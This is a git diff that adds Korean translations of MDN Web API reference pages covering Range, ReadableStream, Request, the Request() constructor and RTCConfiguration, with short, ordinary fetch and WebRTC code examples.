{{ domxref("Range.compareNode()")}} {{ Obsolete_inline }}{{non-standard_inline}}
+
Returns a constant representing whether the {{domxref("Node")}} is before, after, inside, or surrounding the range.
+
{{ domxref("Range.comparePoint()")}} {{experimental_inline}}
+
Returns -1, 0, or 1 indicating whether the point occurs before, inside, or after the Range.
+
{{ domxref("Range.createContextualFragment()")}}{{experimental_inline}}
+
Returns a {{ domxref("DocumentFragment") }} created from a given string of code.
+
{{ domxref("Range.getBoundingClientRect()") }} {{experimental_inline}}
+
Returns a {{ domxref("ClientRect") }} object which bounds the entire contents of the Range; this would be the union of all the rectangles returned by {{ domxref("range.getClientRects()") }}.
+
{{ domxref("Range.getClientRects()") }} {{experimental_inline}}
+
Returns a list of {{ domxref("ClientRect") }} objects that aggregates the results of {{ domxref("Element.getClientRects()") }} for all the elements in the Range.
+
{{ domxref("Range.intersectsNode()")}} {{experimental_inline}}
+
Returns a boolean indicating whether the given node intersects the Range.
+
{{ domxref("Range.isPointInRange()")}} {{experimental_inline}}
+
Returns a boolean indicating whether the given point is in the Range.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-range', 'Range')}}{{Spec2('DOM WHATWG')}}Do not use RangeException anymore, use DOMException instead.
+ Made the second parameter of collapse() optional.
+ Added the methods isPointInRange(), comparePoint(), and intersectsNode().
+ Added the constructor Range().
{{SpecName('DOM Parsing', '#extensions-to-the-range-interface', 'Extensions to Range')}}{{Spec2('DOM Parsing')}}Added the method createContextualFragment().
{{SpecName('CSSOM View', '#extensions-to-the-range-interface', 'Extensions to Range')}}{{Spec2('CSSOM View')}}Added the methods getClientRects() and getBoundingClientRect().
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-Interface', 'Range')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

브라우저 호환성

+ +

{{Compat("api.Range")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/range/selectnodecontents/index.html b/files/ko/web/api/range/selectnodecontents/index.html new file mode 100644 index 0000000000..380d600622 --- /dev/null +++ b/files/ko/web/api/range/selectnodecontents/index.html @@ -0,0 +1,68 @@ +--- +title: Range.selectNodeContents() +slug: Web/API/Range/selectNodeContents +tags: + - API + - DOM + - Method + - Range +translation_of: Web/API/Range/selectNodeContents +--- +
{{ApiRef("DOM")}}
+ +

Range.selectNodeContents()는 {{domxref("Node")}}의 내용을 포함하는 {{domxref("Range")}}를 설정합니다.

+ +

부모 {{ domxref("Node") }} 의 start, end 값이 Reference가 됩니다. startOffset 은 0이고, endOffset 은 Child Node의 수 혹은 Reference Node에 포함되어 있는 Child Node의 수가 됩니다.

+ +

구문

+ +
range.selectNodeContents(referenceNode);
+
+ +

매개변수

+ +
+
referenceNode
+
{{ domxref("Range") }} 로 선택될 내용의 {{ domxref("Node") }} 
+
+ +

예제

+ +
range = document.createRange();
+referenceNode = document.getElementsByTagName("div")[0];
+range.selectNodeContents(referenceNode);
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-selectnodecontents', 'Range.selectNodeContents()')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-selectNodeContents', 'Range.selectNodeContents()')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Range.selectNodeContents")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/readablestream/index.html b/files/ko/web/api/readablestream/index.html new file mode 100644 index 0000000000..6ad5bd8139 --- /dev/null +++ b/files/ko/web/api/readablestream/index.html @@ -0,0 +1,105 @@ +--- +title: ReadableStream +slug: Web/API/ReadableStream +translation_of: Web/API/ReadableStream +--- +

{{APIRef("Streams")}}

+ +

Streams APIReadableStream 인터페이스는 바이트 데이터를 읽을수 있는 스트림을 제공합니다. Fetch API는 Response 객체의 body 속성을 통하여 ReadableStream의 구체적인 인스턴스를 제공합니다.

+ +

Constructor

+ +
+
{{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}
+
읽을수 있는 스트림 객체를 생성하고 리턴합니다.
+
+ +

Properties

+ +
+
{{domxref("ReadableStream.locked")}} {{readonlyInline}}
+
locked는 Readable stream이 reader에 고정되어 있는지(locaked to a reader) 확인하는 getter 입니다.
+
+ +

Methods

+ +
+
{{domxref("ReadableStream.cancel()")}}
+
+

스트림을 취소하여, 소비자가 스트림에 대해 관심이 없음을 알립니다. The supplied reason argument will be given to the underlying source, which may or may not use it.

+
+
{{domxref("ReadableStream.getReader()")}}
+
Reader를 만들고 스트림을 그 Reader에 고정 시킵니다. 스트림이 고정되어 있는 동안에는 다른 Reader를 얻을수 없습니다.
+
{{domxref("ReadableStream.pipeThrough()")}}
+
Provides a chainable way of piping the current stream through a transform stream or any other writable/readable pair.
+
{{domxref("ReadableStream.pipeTo()")}}
+
+

인자로 넘기는 {{domxref("WritableStream")}}과 현재의 ReadableStream을 연결하고 프로미스를 리턴합니다. 이 프로미스는 파이핑 프로세스가 성공적으로 완료될때 fullfil되며 애러가 발생했을때 reject됩니다.

+
+
{{domxref("ReadableStream.tee()")}}
+
The tee method tees this readable stream, returning a two-element array containing the two resulting branches as new {{domxref("ReadableStream")}} instances. Each of those streams receives the same incoming data.
+
+ +

Examples

+ +

아래 예시에서, 다른 리소스에서 fetch된 HTML 조각들을 스트림 하기위해 가공의 {{domxref("Response")}}를 만듭니다. 이것은{{domxref("Uint8Array")}}로 구성된 {{domxref("ReadableStream")}} 의 사용법을 보여줍니다.

+ +
fetch("https://www.example.org/").then((response) => {
+  const reader = response.body.getReader();
+  const stream = new ReadableStream({
+    start(controller) {
+      // 아래 함수는 각 data chunck를 다룬다.
+      function push() {
+        // "done"은 Boolean 이며 value는 "Uint8Array 이다."
+        reader.read().then(({ done, value }) => {
+          // 더이상 읽은 데이터가 없는가?
+          if (done) {
+            // 브라우저에게 데이터 전달이 끝났다고 알린다.
+            controller.close();
+            return;
+          }
+
+          // 데이터를 얻고 컨트롤러를 통하여 그 데이터를 브라우저에 넘긴다.
+          controller.enqueue(value);
+          push();
+        });
+      };
+
+      push();
+    }
+  });
+
+  return new Response(stream, { headers: { "Content-Type": "text/html" } });
+});
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Streams','#rs-class','ReadableStream')}}{{Spec2('Streams')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ReadableStream")}}

+
+ +

See Also

+ + diff --git a/files/ko/web/api/request/credentials/index.html b/files/ko/web/api/request/credentials/index.html new file mode 100644 index 0000000000..ed7186a6d9 --- /dev/null +++ b/files/ko/web/api/request/credentials/index.html @@ -0,0 +1,70 @@ +--- +title: Request.credentials +slug: Web/API/Request/credentials +tags: + - API + - Cookies + - Fetch + - Networking + - Property + - Reference + - Security + - credentials + - request +translation_of: Web/API/Request/credentials +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Request")}} 인터페이스의 credentials 읽기 전용 속성은 cross-origin 요청의 경우, user agent가 다른 도메인으로부터 cookie 들을 전달해야만 하는가 아닌가를 나타낸다. 이것은 XHR 의 withCredentials flag 과 비슷하지만, (2개가 아니라) 3가지 값이 사용 가능하다 :

+ + + +

Syntax

+ +
var myCred = request.credentials;
+ +

Value

+ +

이 transaction에 사용할 credentials 를 나타내는 {{domxref("RequestCredentials")}} 값

+ +

Example

+ +

다음의 snippet 에서, 우리는 {{domxref("Request.Request()")}} constructor 를 사용하여 (스크립트와 동일한 디렉토리의 이미지 파일을 위한) 새로운 요청(request)를 생성하고, 변수에 요청(request) credentials 을 저장한다.

+ +
var myRequest = new Request('flowers.jpg');
+var myCred = myRequest.credentials; // returns "same-origin" by default
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-request-credentials','credentials')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Request.credentials")}}

+ +

See also

+ + diff --git a/files/ko/web/api/request/index.html b/files/ko/web/api/request/index.html new file mode 100644 index 0000000000..73eae676e6 --- /dev/null +++ b/files/ko/web/api/request/index.html @@ -0,0 +1,293 @@ +--- +title: Request +slug: Web/API/Request +translation_of: Web/API/Request +--- +
{{APIRef("Fetch")}}
+ +

Fetch API의 Request는 리퀘스트 리소스를 표현해주는 인터페이스입니다. 

+ +

{{domxref("Request.Request()")}} 생성자 메서드를 사용하는 것으로, 새로운 Request오브젝트를 생성할 수 있습니다. 이 인터페이스는 그리 자주 사용되지 않는 것으로 service worker의 {{domxref("FetchEvent.request")}}와 같은 별개의 API와 만나는 경우가 더 잦을 것입니다.

+ +

생성자

+ +
+
{{domxref("Request.Request()")}}
+
새로운 Request 객체를 생성합니다.
+
+ +

프로퍼티

+ +
+
{{domxref("Request.method")}} {{readonlyInline}}
+
Request 메서드 (GET, POST 같은것들)을 포함합니다.
+
{{domxref("Request.url")}} {{readonlyInline}}
+
Request의 URL을 포함합니다.
+
{{domxref("Request.headers")}} {{readonlyInline}}
+
Request의 {{domxref("Headers")}}와 관련된 정보를 포함하고 있습니다.
+
{{domxref("Request.context")}} {{readonlyInline}} {{deprecated_inline()}}
+
리퀘스트의 컨텍스트 (예: audio, image, iframe)을 포함하고 잇습니다.
+
{{domxref("Request.referrer")}} {{readonlyInline}}
+
리퀘스트의 referrer 정보 (예:client)을 포함하고 있습니다.
+
{{domxref("Request.referrerPolicy")}} {{readonlyInline}}
+
Request의 referrer policy 정보 (예: no-referrer)를 포함하고 있습니다.
+
{{domxref("Request.mode")}} {{readonlyInline}}
+
Request의 모드를 (예: cors, no-cors, same-origin, navigate) 포함하고 있습니다.
+
{{domxref("Request.credentials")}} {{readonlyInline}}
+
Request의 자격 증명서(credentials)  (예: omit, same-origin)를 포함하고 있습니다.
+
{{domxref("Request.redirect")}} {{readonlyinline}}
+
Request의 처리 방법을 위한 모드 (예: follow, error, or manual)를 포함합니다.
+
{{domxref("Request.integrity")}} {{readonlyInline}}
+
리퀘스트의 subresource integrity 해쉬값(예:sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=)을 포함합니다.
+
{{domxref("Request.cache")}} {{readonlyInline}}
+
Request의 캐시모드를 (예: default, reload, no-cache) 포함합니다.
+
+ +

Request는 {{domxref("Body")}}를 구현하고 있으므로 다음 프로퍼티 또한 사용 가능합니다.

+ +
+
{{domxref("Body.body")}} {{readonlyInline}}
+
{{domxref("ReadableStream")}}을 바디 컨텐츠로 가져올 수 있는 간단한 게터 프로퍼티입니다.
+
{{domxref("Body.bodyUsed")}} {{readonlyInline}}
+
Response에서 바디가 사용되었는가의 여부를 {{domxref("Boolean")}} 형태로 표시합니다.
+
+ +

메서드

+ +
+
{{domxref("Request.clone()")}}
+
Request의 복사본을 생성합니다.
+
+ +

Request는 {{domxref("Body")}}를 구현하고 있으므로 다음 프로퍼티 또한 사용 가능합니다.

+ +
+
{{domxref("Body.arrayBuffer()")}}
+
{{domxref("ArrayBuffer")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.
+
{{domxref("Body.blob()")}}
+
{{domxref("Blob")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.
+
{{domxref("Body.formData()")}}
+
{{domxref("FormData")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.
+
{{domxref("Body.json()")}}
+
{{domxref("JSON")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.
+
{{domxref("Body.text()")}}
+
{{domxref("USVString")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.
+
+ +
+

Note: {{domxref("Body")}} 함수는 한번밖에 실행할 수 없습니다. 두번째부터는 빈 문자열, 혹은 ArrayBuffer이 반환됩니다.

+
+ +

예시

+ +

다음의 예시들은 Request를 이용해 스크립트와 같은 디렉터리에 존재하는 사진의 여러가지 정보를 불러오는 방법입니다. Request() 생성자를 사용하여 새로운 Request를 생성하여 몇몇 몇 프로퍼티를 반환합니다.

+ +
const myRequest = new Request('http://localhost/flowers.jpg');
+
+const myURL = myRequest.url; // http://localhost/flowers.jpg
+const myMethod = myRequest.method; // GET
+const myCred = myRequest.credentials; // omit
+
+ +

{{domxref("GlobalFetch.fetch()")}}의 매개변수에 Request 객체를 전달하는것으로 then 파라미터를 이끌어낼 수 있습니다. 아래는 그에대한 예시입니다.

+ +
fetch(myRequest)
+  .then(response => response.blob())
+  .then(blob => {
+    myImage.src = URL.createObjectURL(blob);
+  });
+ +

아래는 Body Payload가 필요한 API 요청을 다루는 예시입니다.  Request() 생성자를 사용하여 초기 데이터 및 본문 내용이 포함 된새 요청을 만듭니다.

+ +

 

+ +

아래는 Body Payload가 필요한 API 요청을 다루는 예시입니다.  Request() 생성자를 사용하여 초기 데이터와 Body의 컨텐츠를 읽어올 수 있습니다.

+ +
const myRequest = new Request('http://localhost/api', {method: 'POST', body: '{"foo":"bar"}'});
+
+const myURL = myRequest.url; // http://localhost/api
+const myMethod = myRequest.method; // POST
+const myCred = myRequest.credentials; // omit
+const bodyUsed = myRequest.bodyUsed; // true
+
+ +
+

Note: Body의 타입은 {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}} 혹은 {{domxref("ReadableStream")}}로만 올 수 있습니다.  따라서 payload에 JSON객체를 추가하려면 해당 객체를 문자열로 지정할 수 있습니다.

+
+ +

그런 다음 Request 객체를 매개 변수로 {{domxref("GlobalFetch.fetch()")}} 호출에 전달하여 api 요청을 가져와 응답을 얻을 수 있습니다. 아래는 예시입니다.

+ +
fetch(myRequest)
+  .then(response => {
+    if (response.status === 200) {
+      return response.json();
+    } else {
+      throw new Error('Something went wrong on api server!');
+    }
+  })
+  .then(response => {
+    console.debug(response);
+    // ...
+  }).catch(error => {
+    console.error(error);
+  });
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('Fetch','#request-class','Request')}}{{Spec2('Fetch')}}Initial definition
+ +

브라우저 지원

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
기본 지원{{CompatChrome(42)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
+ 34
{{CompatNo}}{{CompatOpera(28)}}{{CompatNo}}
Request.body.formData{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatOpera(47)}}{{CompatNo}}
Request.integrity{{CompatChrome(46)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOpera(33)}}{{CompatNo}}
Request.redirect{{CompatChrome(46)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOpera(33)}}{{CompatNo}}
Constructor init can accept ReadableStream body{{CompatChrome(43)}}{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatNo}}{{CompatOpera(33)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능Android WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
기본 지원{{CompatChrome(42)}}{{CompatChrome(42)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOperaMobile(28)}}{{CompatNo}}
Request.body.formData{{CompatChrome(60)}}{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatOperaMobile(47)}}{{CompatNo}}
Request.integrity{{CompatChrome(46)}}{{CompatChrome(46)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOperaMobile(33)}}{{CompatNo}}
Request.redirect{{CompatChrome(46)}}{{CompatChrome(46)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOperaMobile(33)}}{{CompatNo}}
Constructor init can accept ReadableStream body{{CompatChrome(43)}}{{CompatChrome(43)}}{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatNo}}{{CompatOperaMobile(33)}}{{CompatNo}}
+
+ +

[1] 읽기전용 스트림은 파이어폭스에서 사용 가능하며, dom.streams.enabled와 javascript.options.streams 설정에 숨어있습니다.

+ +

관련항목

+ + diff --git a/files/ko/web/api/request/request/index.html b/files/ko/web/api/request/request/index.html new file mode 100644 index 0000000000..0eab065ff9 --- /dev/null +++ b/files/ko/web/api/request/request/index.html @@ -0,0 +1,214 @@ +--- +title: Request() +slug: Web/API/Request/Request +translation_of: Web/API/Request/Request +--- +
{{APIRef("Fetch")}}
+ +

Request() 생성자는 새로운  {{domxref("Request")}} 객체를 생성하도록 도와줍니다.

+ +

문법

+ +
var myRequest = new Request(input, init);
+ +

파라미터

+ +
+
input
+
취득한 리소스를 정의합니다. 이하의 값을 파라미터로 넣을 수 있습니다. +
    +
  • 취득하고 싶은 리소스의 URL을 담은 {domxref("USVString")}}.
  • +
  • Request 객체의 클론 생성을 위해 입력할 {{domxref("Request")}} 객체. 기존의 request 객체로 새로운 동일한 객체를 생성할때, 다음과 같은 보안에 관련된 예외가 검출될 수 있습니다.
  • +
+
+
init {{optional_inline}}
+
리퀘스트를 적용할 커스텀 설정을 포함한 옵션오브젝트. 설정 가능한 옵션은 다음과 같습니다. +
    +
  • method: GET, POST과 같은 리퀘스트 메소드.
  • +
  • headers: {{domxref("Headers")}}객체 또는 {{domxref("ByteString")}}를 포함하는 리퀘스트에 추가하는 헤더.
  • +
  • body: 리퀘스트에 추가할 바디.  {{domxref("Blob")}}이나, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}}, 또한 {{domxref("ReadableStream")}} 객체를 사용할 수 있습니다.Request객체가 GET이나 HEAD메서드를 사용하는 경우, 바디를 포함하지 않습니다.
  • +
  • mode: Request에서 사용할 모드. cors, no-cors, same-origin, 또한 navigate이 사용 가능하며, 기본값은 cors입니다. 47버전 이전의 크롬에서는 기본값이 no-cors 이며 크롬 47버전 이후로 same-origin가 사용 가능하게 되었습니다.
  • +
  • credentials: Request에서 사용할 자격 증명서(Request Credential)입니다.omit, same-origin, 또는 include를 사용할 수 있습니다.기본값은 omit.이며, 크롬 47 이전의 기본값은 same-origin 입니다. 크롬 47 이후로부터include가 사용 가능하게 되었습니다.
  • +
  • cache: Request에서 사용할 cache mode 입니다.
  • +
  • redirect: Request에서 사용할 리다이렉트 모드입니다. follow, error, manual.이 사용 가능합니다. 크롬 47 이전 버전에서의 기본값은 manual 이며, 47 이후로부터 follow 가 사용 가능하게 되었습니다.
  • +
  • referrer: no-referrer나 client, URL을 지정하는 {{domxref("USVString")}}입니다.. 기본값은 client입니다.
  • +
  • integrity: sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=같은 Request의 하위 리소스 무결성(subresource integrity) 값을 포함합니다.
  • +
+
+
+ +

에러

+ + + + + + + + + + + + + + +
타입내용
TypeErrorFirefox 43부터, http://user:password@example.com와 같인 credential을 포함하는 경우 Request() 는 타입 에러를 반환합니다.
+ +

예시

+ +

 

+ +

Fetch Request example에서는, 생성자를 사용해 새로운 Requst 객체를 생성하고 나서 {{domxref("GlobalFetch.fetch")}}인터페이스를 이용해 Request로 읽어온 결과를 취득하고 있습니다. 특정 사진을 가져와서 사용할 수 있게 만들기 위해서  MIME타입을 설정하고, Response의 {{domxref("Body.blob")}}를 반환합니다. 그 후로 오브젝트 URL을 생성해 {{htmlelement("img")}}요소를 표시하도록 합니다. Fetch Request live를 참고해주시기 바랍니다.

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(response) {
+  var objectURL = URL.createObjectURL(response);
+  myImage.src = objectURL;
+});
+ +

Fetch Request with init example에서는 fetch()를 실행할 때 마다, init객체를 전달하는 것 이외에는 거의 동일한 기능을 수행합니다. Fetch Request init live 를 참조해주시기 바랍니다.

+ +
var myImage = document.querySelector('img');
+
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg',myInit);
+
+fetch(myRequest).then(function(response) {
+  ...
+});
+ +

동일한 효과를 얻기 위해 fetch 호출자에 init객체를 전달하는 것에 주목해주시기 바랍니다. 예를 들면...

+ +
fetch(myRequest,myInit).then(function(response) {
+  ...
+});
+ +

Request 객체ㅡ이 클론을 생성하기 위해서 Request() 생성자에 {{domxref("Request")}} 를 전달하고 있습니다.(이것은  {{domxref("Request.clone","clone()")}} 메서드의 호출자와 같습니다.)

+ +
var copy = new Request(myRequest);
+
+ +

노트:마지막의 예시는 ServiceWorkers안에서만 사용 가능합니다。

+ +

사용

+ + + + + + + + + + + + + + +
사용상태꼬릿말
{{SpecName('Fetch','#dom-request','Request()')}}{{Spec2('Fetch')}} 
+ +

브라우저 지원현황

+ +

{{ CompatibilityTable() }}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
기본 서포트{{ CompatChrome(42.0) }} [1]
+  
{{ CompatGeckoDesktop(39)}} [2]{{ CompatNo }} +

29 [3]

+
{{ CompatNo }}
스트리밍 리스폰스 바디{{CompatChrome(43.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능AndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
기본 지원{{ CompatNo }}{{ CompatChrome(42) }} [1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatChrome(42.0) }} [1]
스트리밍 리스폰시브 바디{{CompatNo}}{{CompatChrome(43.0)}} {{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}} 
+ +

[1] 초기 파라미터의 기본값의 일부는 Chrome 47부터 변경되었스빈다. 상세한 내용은 프로퍼티 섹션을 참고해주시기 바랍니다.

+ +

[2] 34는 설정에서 변경할 수 있습니다.

+ +

[3] 28는 설정에서 변경할 수 있습니다.

+ +

관련항목

+ + + +

 

+ + diff --git a/files/ko/web/api/rtcconfiguration/index.html b/files/ko/web/api/rtcconfiguration/index.html new file mode 100644 index 0000000000..bc578aaf53 --- /dev/null +++ b/files/ko/web/api/rtcconfiguration/index.html @@ -0,0 +1,97 @@ +--- +title: RTCConfiguration +slug: Web/API/RTCConfiguration +tags: + - API + - Dictionary + - Interface + - RTCConfiguration + - WebRTC +translation_of: Web/API/RTCConfiguration +--- +

{{APIRef("WebRTC")}}{{draft}}

+ +

RTCConfiguration는 {{domxref("RTCPeerConnection")}}의 설정에 대한 옵션들을 제공합니다. 연결이 처음으로 이루어질 때 {{domxref("RTCPeerConnection")}} 생성자에 전달되거나, 연결이 확립된 동안 설정을 확인하고 변경이 가능한{{domxref("RTCPeerConnection.getConfiguration()")}} 및 {{domxref("RTCPeerConnection.setConfiguration()")}} 메소드와 같이 사용됩니다.

+ +

옵션은 ICE 서버, 전달 셋팅, 그리고 identity 정보를 포함합니다.

+ +

속성

+ +
+
{{domxref("RTCConfiguration.bundlePolicy", "bundlePolicy")}} {{optional_inline}}
+
원격 피어가 SDP BUNDLE standard에 호환이 불가능할 때, 어떻게 candidate의 네고시에이션을 처리 할 것인지를 정의합니다. 이 옵션은 무조건 enum RTCBundlePolicy의 값들 중 하나여야만 합니다. 만약 이 값이 딕셔너리에 없으면, "balanced" 으로 지정됩니다.
+
{{domxref("RTCConfiguration.certificates", "certificates")}} {{optional_inline}}
+
인증을 위해 연결에서 사용되는 {{domxref("RTCCertificate")}} 타입의 객체의 {{jsxref("Array")}} 입니다. 이 속성이 정의되어있지 않으면, 각 {{domxref("RTCPeerConnection")}} 인스턴스별로 자동으로 인증서 모음이 생성됩니다. 하나의 연결에는 오직 한개의 인증서만 사용이 되지만, 여러 알고리즘들에 대해 다수의 인증서를 제공하는 방법으로 어떤 상황에서 우연치 않게 연결이 성공되는 경우를 줄일 수 있습니다. 아래는 {{anch("Using certificates")}}에 대한 추가 정보입니다. +
이 설정 옵션은 한 번 정의되면 변경이 불가능합니다. 한 번 인증서가 지정되면, 그 후 발생하는 {{domxref("RTCPeerConnection.setConfiguration()")}} 호출에서 이 속성이 무시됩니다.
+
+
{{domxref("RTCConfiguration.iceCandidatePoolSize", "iceCandidatePoolSize")}} {{optional_inline}}
+
미리 가져와진 ICE candidate pool의 크기를 정의하는 서명되지 않은 16-bit 정수 값. 기본 값은 0으로 candidate를 미리 가져오는 것이 발생하지 않음을 뜻함. 연결 시도를 시작하기전에 ICE 에이전트가 ICE candidates를 미리 가져오게 허용하면, candidate들은  {{domxref("RTCPeerConnection.setLocalDescription()")}} 호출로 이미 확인이 가능하게 되고, 이로 인해 몇몇 상황에서 연결이 더 빠르게 성립됩니다. +
ICE candidate pool의 크기 변경은 ICE 수집을 시작하게 만들 수 있습니다.
+
+
{{domxref("RTCConfiguration.iceServers", "iceServers")}} {{optional_inline}}
+
ICE 에이전트에 의해 이용될 수 있는 하나의 서버를 설명하는 {{domxref("RTCIceServer")}} 객체의 배열. 일반적으로 STUN 혹은 TURN 서버들입니다. 이 옵션이 정의가 안되어있으면, ICE 에이전트는 자체 ICE 서버를 선택하여 사용 할 수 있습니다. 자체 서버가 없다면, 연결은 사용 가능한 STUN 혹은 TURN 서버 없이 진행되고, 이는 로컬 피어와의 연결을 제한합니다. 
+
{{domxref("RTCConfiguration.iceTransportPolicy", "iceTransportPolicy")}} {{optional_inline}}
+
현재 ICE 전송 정책; 이는 RTCIceTransportPolicy enum에 존재하는 값입니다. 이 옵션이 정의가 안되어있으면, "all"로 설정됩니다.
+
{{domxref("RTCConfiguration.peerIdentity", "peerIdentity")}} {{optional_inline}}
+
{{domxref("RTCPeerConnection")}}에 대한 타겟 피어 identity를 명시하는 {{domxref("DOMString")}}. 이 값이 지정되어있으면, RTCPeerConnection은 주어진 이름으로 인증이 성공하지 않는 이상 원격 피어와 연결하지 않습니다. (기본 값은 null 입니다.) 
+
{{domxref("RTCConfiguration.rtcpMuxPolicy", "rtcpMuxPolicy")}} {{optional_inline}}
+
non-multiplexed RTCP를 지원하기 위해, ICE candidate를 수집 할 때 사용되는 RTCP mux 정책. 이 값은 RTCRtcpMuxPolicy enum.에 존재하는 값입니다. 기본 값은 "require"입니다.
+
+ +

상수

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCBundlePolicy enum", 0, 1)}}

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCIceTransportPolicy enum", 0, 1)}}

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCRtcpMuxPolicy enum", 0, 1)}}

+ +

인증서 사용하기

+ +

RTCPeerConnection가 자동으로 생성하는 인증서 대신에, 사용자가 직접 {{domxref("RTCPeerConnection")}}을 위한 자체 인증서를 만들기를 원한다면 {{domxref("RTCPeerConnection.generateCertificate()")}} 호출 합니다. 

+ +

이 속성은 다중 인증서 제공을 지원합니다. 이는 주어진 DTLS 연결이 오직 하나의 인증서를 사용한다해도, 다중 인증서는 여러개의 암호화 알고리즘 지원을 허용하기 때문입니다. RTCPeerConnection의 구현은 DTLS 합의 중 결정된 알고리즘 및 원격 피어에 근거해서 어떤 인증서를 사용 할지 선택합니다.

+ +

인증서를 제공하지 않으면, 신규 인증서가 자동으로 생성이 됩니다. 사용자 자체의 identity 키를 제공하는 것의 한 가지 명백한 장점은 연속성입니다. 동일한 인증서를 이후 호출에도 사용하게되면, 원격 피어는 사용자가 같은 caller인지 알 수 있습니다. 또한, 새로운 인증키를 발급하지 않아도 됩니다. 

+ +

<<<link to added info on identity>>>

+ +

예시

+ +

아래 설정은 두개의 ICE 서버를 구축합니다. 첫 번째 서버, stun:stun.services.mozilla.com는 인증을 요구하기 때문에 유저 이름과 비밀번호를 제공합니다. 두 번째 서버는 두 개의 URL 주소가 있습니다: stun:stun.example.comstun:stun-1.example.com입니다.

+ +
var configuration = { iceServers: [{
+                          urls: "stun:stun.services.mozilla.com",
+                          username: "louis@mozilla.com",
+                          credential: "webrtcdemo"
+                      }, {
+                          urls: ["stun:stun.example.com", "stun:stun-1.example.com"]
+                      }]
+};
+
+var pc = new RTCPeerConnection(configuration);
+ +

사양서

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebRTC 1.0','#dom-rtcconfiguration','RTCConfiguration')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCConfiguration")}}

+
diff --git a/files/ko/web/api/rtcdatachannelevent/channel/index.html b/files/ko/web/api/rtcdatachannelevent/channel/index.html new file mode 100644 index 0000000000..88c924f969 --- /dev/null +++ b/files/ko/web/api/rtcdatachannelevent/channel/index.html @@ -0,0 +1,63 @@ +--- +title: RTCDataChannelEvent.channel +slug: Web/API/RTCDataChannelEvent/channel +translation_of: Web/API/RTCDataChannelEvent/channel +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

읽기 속성인 RTCDataChannelEvent.channel는 {{domxref("RTCDataChannel")}}와 관련이 있는 이벤트를 반환합니다.

+ +

